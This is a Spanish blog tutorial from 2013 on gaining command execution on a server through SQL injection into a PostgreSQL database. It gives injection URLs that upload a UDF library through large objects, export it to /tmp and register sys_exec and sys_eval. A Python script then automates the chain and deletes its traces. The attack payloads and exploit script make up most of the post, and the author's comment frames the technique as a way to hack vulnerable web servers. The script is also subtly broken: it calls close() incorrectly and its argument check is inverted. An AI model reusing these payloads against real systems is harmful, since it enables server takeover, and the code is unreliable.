miércoles, 17 de abril de 2013

Tomando el control con UDF en Postgresql

Tanto Postgresql como MySQL soportan librerías UDF (User Defined Functions). Estas librerías permiten ampliar las funciones del DBMS y programar las nuestras propias en un lenguaje como C o C++. Esto nos puede permitir por ejemplo programar una función que llame a "system" y ejecute comandos en el sistema operativo desde una consulta SQL o, mejor aún, desde una inyección SQL. Este post trata de como "tomar el control" con una inyección SQL usando librerías UDF en Postgresql.

Anteriormente vimos cómo compilar una librería UDF para Postgresql. Específicamente la librería "lib_postgresqludf_sys.c" que usa Sqlmap para esta técnica de explotación. Por lo que supondré que ya tenemos la librería creada (también se puede usar las que trae Sqlmap). Además para poder hacer uso de esta técnica se requiere que la aplicación vulnerable conecte a la base de datos como administrador, es decir con el usuario "postgres" y que la inyección soporte "stacked queries", es decir, varias sentencias separadas por ";".

El primer paso será subir el código binario de la librería a una tabla de la base de datos pero codificado en base64. Puesto que el texto en base64 puede ser algo extenso, habrá que dividirlo en varias partes e ir subiendo parte por parte.

1. Nos aseguramos que la tabla NO exista.

sqli.php?id='; DROP TABLE IF EXISTS tbl_tmp; --

2. Creamos la tabla temporal "tbl_tmp" con un campo "foo" de tipo TEXT para almacenar la librería en base64.

sqli.php?id='; CREATE TABLE tbl_tmp(foo TEXT); --

3. Codificamos la librería "lib_postgresqludf_sys.so" a base64.

# base64 lib_postgresqludf_sys.so > encode.txt

4. Mediante INSERT y UPDATE subimos el texto en base64 a la tabla "tbl_tmp". Recuerda que si el texto es muy extenso, debemos dividirlo en cadenas de menor longitud y subirlo parte por parte.

 - Para la primera parte:

sqli.php?id='; INSERT INTO tbl_tmp VALUES ('textoenbase64...'); --

- Para las partes restantes:

sqli.php?id='; UPDATE tbl_tmp SET foo =  foo || 'textoenbase64...'; --

Ahora debemos exportar la librería a un fichero en el servidor. Para ello podemos usar la funcion "pg_export". Esta función sirve para exportar "large objects" almacenados en la base de datos. Por ello, es necesario registrar primero nuestra librería como un "large object" en la tabla "pg_largeobject".

5. Los "large objects" tienen asignado un identificador llamado "OID". Nos aseguramos que nuestro OID no esté en uso.

sqli.php?id='; SELECT lo_unlink(1337); --

6. Creamos un "large object" para nuestra librería con el OID "1337".

sqli.php?id='; SELECT lo_create(1337); --

7. Registramos nuestra librería en "pg_largeobject" con el OID reservado.

sqli.php?id='; INSERT INTO pg_largeobject VALUES (1337,0,decode((SELECT foo FROM tbl_tmp),'base64')); --

Importante:  Notar el uso de la función "decode()" para convertir el texto en base64 nuevamente a binario y almacenarlo en la tabla "pg_largeobject".

8. Exportamos nuestra librería a un fichero en el directorio "/tmp" del servidor. En este caso el nombre escogido fue "lib_evil.so".

sqli.php?id='; SELECT lo_export(1337,'/tmp/lib_evil.so'); --

Finalmente solo nos queda importar las funciones desde la librería "/tmp/lib_evil.so".

9. Para la función "sys_exec":

sqli.php?id='; CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_evil.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; --

10 Para la función "sys_eval":

sqli.php?id='; CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_evil.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; --

Luego para ejecutar un comando podemos inyectar de esta manera:

- Solo ejecutar sin obtener la salida:

sqli.php?id='; SELECT sys_exec('id'); --

- Ejecutar y obtener la salida:

sqli.php?id=' AND 1=0 UNION SELECT 1,2,sys_eval('id'); --

11. Por último, no olvides borrar los temporales.

sqli.php?id='; SELECT lo_unlink(1337); --
sqli.php?id='; DROP TABLE IF EXISTS tbl_tmp; --
sqli.php?id='; SELECT sys_exec('rm -f /tmp/lib_evil.so'); --

Todo este proceso se puede automatizar. De hecho Sqlmap ya lo hace. Sin embargo, he programado este script en python que por su tamaño es más facil de modificar y comprender.


#!/bin/python

import httplib
import urllib
import base64
import sys
import string
import random


CONFIG = {
    "host": "ip.del.host.vulnerable",
    "port": 80,
    "method": "GET",   # GET | POST
    "uri": "/test/sqli.php",
    "data": (      # Variables enviadas
            ("id", "foo"),
            ("foo", "foo")
            ),
    "vuln": "id",  # Nombre de la variable vulnerable
    "prefix": "'; ",  # Se concatena antes de la inyeccion
    "suffix": ";-- ",  # Se concatena despues de la inyeccion
    "headers": [
            ("User-Agent", "Mozilla/4.0 (MSIE 8.0; Windows NT 6.1)"),
            ("Connection", "close"),
            ("Cookie", "none")
            ],
    "verbose": 3
    }


def inject(injection=""):
    host = CONFIG["host"]
    port = CONFIG["port"]
    method = CONFIG["method"]
    uri = CONFIG["uri"]
    data = CONFIG["data"]
    vuln = CONFIG["vuln"]
    prefix = CONFIG["prefix"]
    suffix = CONFIG["suffix"]
    headers = CONFIG["headers"]

    payload = prefix + injection + suffix

    injdata = []
    for (var, value) in data:
        if var == vuln:
            injdata.append((var, payload))
        else:
            injdata.append((var, value))
    encoded = urllib.urlencode(injdata)

    conn = httplib.HTTPConnection(host, port)
    if (method == "GET"):
        conn.putrequest(method, uri + "?" + encoded)
    else:
        conn.putrequest(method, uri)
        
    for header in headers:
        name, value = header
        conn.putheader(name, value)
    conn.endheaders()

    if (method == "POST"):
        conn.send(encoded)

    res = conn.getresponse()
    conn.close()


def random_string(size=6, chars=string.ascii_uppercase + string.ascii_lowercase):
 srand = ""
 for x in range(size):
  srand += random.choice(chars)
 return srand


def exploit(udf_lib_path):
 print "[+] Iniciando..."
 
 libname = "lib_%s.so" % (random_string())
 tabname = "tab_%s" % (random_string())
 colname = "col_%s" % (random_string())
 
 inject("DROP TABLE IF EXISTS %s" % tabname)
 inject("CREATE TABLE %s(%s TEXT)" % (tabname,colname))
 
 print "[+] Subiendo libreria..."
 
 udf_lib_file = open(udf_lib_path, "r")
 encoded = base64.b64encode( udf_lib_file.read() )
 close(udf_lib_file)
 payload = ""
 first = True
 for char in encoded:
  payload += "||CHR(%s)" % (ord(char))
  if len(payload) >= 100:
   payload = payload[2:]
   if first:
    first = False
    inject("INSERT INTO %s VALUES(%s)" % (tabname,payload))
   else:
    inject("UPDATE %s SET %s=%s||%s" % (tabname,colname,colname,payload))
   sys.stdout.write(".")
   sys.stdout.flush()
   payload = ""
 
 if len(payload) > 0:
  payload = payload[2:]
  inject("UPDATE %s SET %s=%s||%s" % (tabname,colname,colname,payload))
  
 print
 
 print "[+] Creando libreria %s..." % libname
 inject("SELECT lo_unlink(1337)")
 inject("SELECT lo_create(1337)")
 inject("INSERT INTO pg_largeobject VALUES (1337,0,decode((SELECT %s FROM %s),'base64'))" % (colname,tabname))
 inject("SELECT lo_export(1337,'/tmp/%s')" % (libname))
 
 print "[+] Creando funciones sys_eval y sys_exec..."
 inject("CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/%s', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (libname))
 inject("CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/%s', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (libname))
 
 print "[+] Borrando tabla temporal %s(%s)" % (tabname,colname)
 inject("SELECT lo_unlink(1337)")
 inject("DROP TABLE IF EXISTS %s" % tabname)
 inject("SELECT sys_exec('rm -f /tmp/%s')" % (libname))
 
 print "[+] Terminado."


def main():
 if len(sys.argv) != 1:
  print "Uso: %s /path/to/udf_lib.so" % (sys.argv[0])
  exit(1)
 udf_lib_path = sys.argv[1]
 exploit(udf_lib_path)


if __name__ == "__main__":
 main()


Un saludo.

2 comentarios:

  1. creo o me parece que con esta tecnica podemos tomar el control de una maquina victima pc?

    ResponderEliminar
  2. En realidad se aplicaría para "hackear" servidores con aplicaciones web vulnerables a SQLi que conecten a una base de datos PostgreSQL como administrador.

    Un saludo.

    ResponderEliminar